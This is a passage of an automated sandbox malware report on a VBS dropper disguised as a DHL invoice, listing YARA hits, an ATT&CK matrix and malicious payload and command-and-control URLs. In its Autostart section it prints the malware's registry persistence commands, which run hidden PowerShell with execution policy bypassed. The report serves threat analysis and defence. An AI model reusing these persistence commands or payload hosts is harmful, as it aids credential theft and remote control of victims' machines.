Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: _mbscpy,_mbscpy,_mbscpy,_mbscpy,RegCloseKey, PopPassword	30_2_00402DB3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: _mbscpy,_mbscpy,_mbscpy,_mbscpy,RegCloseKey, SMTPPassword	30_2_00402DB3

Remote Access Functionality

Source: Yara match	File source: 40.2.powershell.exe.1b33d0e6cd0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.1e3b1478da0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.powershell.exe.1a8905a8228.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.1ab996e87d0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.powershell.exe.1c222be89d8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.1ab996e87d0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.1e3b1478da0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.powershell.exe.1c222be89d8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.powershell.exe.1a8905a8228.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.powershell.exe.1b33d0e6cd0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.2290132644.000001AB99151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2364592750.000001E3B1150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2290132644.000001AB99541000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2788200178.000001B33CDBE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2563409063.000001A890401000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1931941329.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2531838956.000001C222A41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7820, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\kanspt.dat, type: DROPPED

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: cmd.exe

23_2_0040569A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	321 Scripting	Valid Accounts	11 Native API	321 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	1 Web Service	1 Exfiltration Over Alternative Protocol	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	211 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	32 Command and Scripting Interpreter	1 Windows Service	1 Access Token Manipulation	3 Obfuscated Files or Information	2 Credentials in Registry	1 System Service Discovery	SMB/Windows Admin Shares	1 Email Collection	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Service Execution	21 Registry Run Keys / Startup Folder	1 Windows Service	2 Software Packing	3 Credentials In Files	4 File and Directory Discovery	Distributed Component Object Model	211 Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	3 PowerShell	Network Logon Script	322 Process Injection	1 DLL Side-Loading	LSA Secrets	38 System Information Discovery	SSH	3 Clipboard Data	2 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	21 Registry Run Keys / Startup Folder	1 Bypass User Account Control	Cached Domain Credentials	131 Security Software Discovery	VNC	GUI Input Capture	213 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Masquerading	Proc Filesystem	4 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	322 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
DHLShippingInvoicesAwbBL000000000102220242247.vbs	0%	ReversingLabs

Source	Detection	Scanner	Link
paste.ee	1%	Virustotal	Browse
geoplugin.net	0%	Virustotal	Browse
desckvbrat.com.br	7%	Virustotal	Browse
b2case.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://contoso.com/License	0%	URL Reputation	safe
https://aka.ms/pscore6	0%	URL Reputation	safe
http://geoplugin.net/json.gp/C	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
https://login.yahoo.com/config/login	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
http://www.imvu.com	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://geoplugin.net/json.gp	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe
http://www.ebuddy.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
paste.ee	188.114.96.3	true	true	1%, Virustotal, Browse	unknown
geoplugin.net	178.237.33.50	true	false	0%, Virustotal, Browse	unknown
desckvbrat.com.br	191.252.83.213	true	true	7%, Virustotal, Browse	unknown
b2case.com	188.114.96.3	true	true	0%, Virustotal, Browse	unknown
pastebin.com	104.20.4.235	true	true		unknown
iwarsut775laudrye001.duckdns.org	43.226.229.232	true	true		unknown
ftp.desckvbrat.com.br	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://paste.ee/d/d80GV/0	true		unknown
hjnourt38haoust1.duckdns.org	true		unknown
https://pastebin.com/raw/pQQ0n3eA	false		unknown
iwarsut775laudrye3.duckdns.org	true		unknown
iwarsut775laudrye001.duckdns.org	true		unknown
https://b2case.com/class.txt	true		unknown
https://paste.ee/d/r322U/0	true		unknown
http://geoplugin.net/json.gp	false	URL Reputation: safe	unknown
https://paste.ee/d/jm8qu/0	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://ftp.desckvbrat.com.br	powershell.exe, 00000003.00000002.1919143366.000002203D80B000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://desckvbrat.com.br	powershell.exe, 00000003.00000002.1919143366.000002203D80B000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://www.microsoft.co	powershell.exe, 00000008.00000002.2115107372.000002D4EB8D9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	powershell.exe, 00000008.00000002.1779641476.000002D4D4DC6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://b2case.com	powershell.exe, 00000003.00000002.1919143366.000002203C6B6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://analytics.paste.ee	powershell.exe, 00000003.00000002.1919143366.000002203C510000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C4F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D88E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D861000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203DBEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C694000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C729000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://paste.ee	powershell.exe, 00000003.00000002.1919143366.000002203C323000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D835000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore6	powershell.exe, 00000001.00000002.3078580117.0000015B8005F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com	powershell.exe, 00000003.00000002.1919143366.000002203C510000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C4F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D88E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D861000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203DBEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C694000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C729000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe	false		unknown
http://geoplugin.net/json.gp/C	powershell.exe, 0000000D.00000002.2290132644.000001AB99541000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2290132644.000001AB99151000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000008.00000002.1779641476.000002D4D4DC6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.1919143366.000002203DC0E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2943623698.000002204C172000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2409816379.0000015C9A3F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2311218245.000002804C253000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1778802424.0000018ACDCA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1930444646.0000018ADC42F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1930444646.0000018ADC566000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2013682859.000002D4E3686000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2013682859.000002D4E3550000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1779641476.000002D4D4DC6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://paste.ee/d/jm8qu/08	powershell.exe, 00000003.00000002.1919143366.000002203C323000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D835000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://oneget.orgX	powershell.exe, 00000007.00000002.1778802424.0000018ACD883000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1779641476.000002D4D49A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://login.yahoo.com/config/login	AddInProcess32.exe	false	URL Reputation: safe	unknown
https://cdnjs.cloudflare.com	powershell.exe, 00000003.00000002.1919143366.000002203C510000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C4F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D88E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D861000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203DBEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C694000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C729000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://cdnjs.cloudflare.com;	powershell.exe, 00000003.00000002.1919143366.000002203C510000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C4F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D88E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D861000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203DBEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C694000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C729000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.nirsoft.net/	AddInProcess32.exe	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.3078580117.0000015B800B0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C101000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1789063987.0000015C8A381000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1787528120.000002803C1E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1778802424.0000018ACC3B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1779641476.000002D4D34D1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.gravatar.com	powershell.exe, 00000003.00000002.1919143366.000002203C510000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C4F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D88E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D861000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203DBEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C694000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C729000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000003.00000002.1919143366.000002203DC0E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2943623698.000002204C172000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2409816379.0000015C9A3F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2311218245.000002804C253000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1778802424.0000018ACDCA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1930444646.0000018ADC42F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1930444646.0000018ADC566000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2013682859.000002D4E3686000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2013682859.000002D4E3550000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1779641476.000002D4D4DC6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000007.00000002.1778802424.0000018ACD883000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1779641476.000002D4D49A2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://paste.ee/d/jm8qu/0P	powershell.exe, 00000003.00000002.1919143366.000002203D835000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000008.00000002.1779641476.000002D4D4D6B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://paste.ee	powershell.exe, 00000003.00000002.1919143366.000002203C724000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D861000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000004.00000002.1789063987.0000015C8A5A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1787528120.000002803C402000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000008.00000002.1779641476.000002D4D4D6B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://go.micro	powershell.exe, 00000003.00000002.1919143366.000002203D14E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com;	powershell.exe, 00000003.00000002.1919143366.000002203C510000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C508000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C4F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D88E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D861000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203DBEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C694000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C729000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.imvu.com	AddInProcess32.exe	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000008.00000002.1779641476.000002D4D4DC6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000008.00000002.1779641476.000002D4D4D6B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://b2case.com	powershell.exe, 00000003.00000002.1919143366.000002203C6BA000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://geoplugin.net/	AddInProcess32.exe, 00000015.00000002.3074510288.0000000000F18000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000004.00000002.1789063987.0000015C8A5A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1787528120.000002803C402000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://analytics.paste.ee;	powershell.exe, 00000003.00000002.1919143366.000002203C510000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C4F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D88E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D861000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203DBEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C694000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C729000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/accounts/servicelogin	AddInProcess32.exe	false		unknown
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.3078580117.0000015B8007E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C101000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1789063987.0000015C8A381000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1787528120.000002803C1E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1778802424.0000018ACC3B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1779641476.000002D4D34D1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://paste.ee/d/d80GV/0P	powershell.exe, 00000003.00000002.1919143366.000002203DB93000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://pastebin.com	powershell.exe, 0000000D.00000002.1948758053.000001AB895D7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://pastebin.com	powershell.exe, 0000000D.00000002.1948758053.000001AB893C0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://themes.googleusercontent.com	powershell.exe, 00000003.00000002.1919143366.000002203C510000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C508000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C4F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D88E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D861000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203DBEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C694000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C729000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://oneget.org	powershell.exe, 00000007.00000002.1778802424.0000018ACD883000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1779641476.000002D4D49A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.micros	powershell.exe, 00000005.00000002.2605240365.0000028054873000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.ebuddy.com	AddInProcess32.exe	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.20.4.235	pastebin.com	United States	13335	CLOUDFLARENETUS	true
188.114.96.3	paste.ee	European Union	13335	CLOUDFLARENETUS	true
43.226.229.232	iwarsut775laudrye001.duckdns.org	Hong Kong	36351	SOFTLAYERUS	true
178.237.33.50	geoplugin.net	Netherlands	8455	ATOM86-ASATOM86NL	false
191.252.83.213	desckvbrat.com.br	Brazil	27715	LocawebServicosdeInternetSABR	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1539088
Start date and time:	2024-10-22 06:16:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	44
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	DHLShippingInvoicesAwbBL000000000102220242247.vbs
Detection:	MAL
Classification:	mal100.rans.spre.phis.troj.spyw.expl.evad.winVBS@61/45@6/5
EGA Information:	Successful, ratio: 53.8%
HCA Information:	Successful, ratio: 98% Number of executed functions: 163 Number of non-executed functions: 328
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, consent.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 1800 because it is empty
Execution Graph export aborted for target powershell.exe, PID 1928 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6908 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7084 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7340 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7372 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:17:01	API Interceptor	143x Sleep call for process: powershell.exe modified
00:17:58	API Interceptor	1213474x Sleep call for process: AddInProcess32.exe modified
05:17:15	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce Update Drivers NVIDEO_fdm cmd.exe /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
05:17:23	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Update Drivers NVIDEO_zhs cmd.exe /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
05:17:31	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce Update Drivers NVIDEO_fdm cmd.exe /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
05:17:41	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Update Drivers NVIDEO_zhs cmd.exe /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.20.4.235	gabe.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	vF20HtY4a4.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	gaber.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
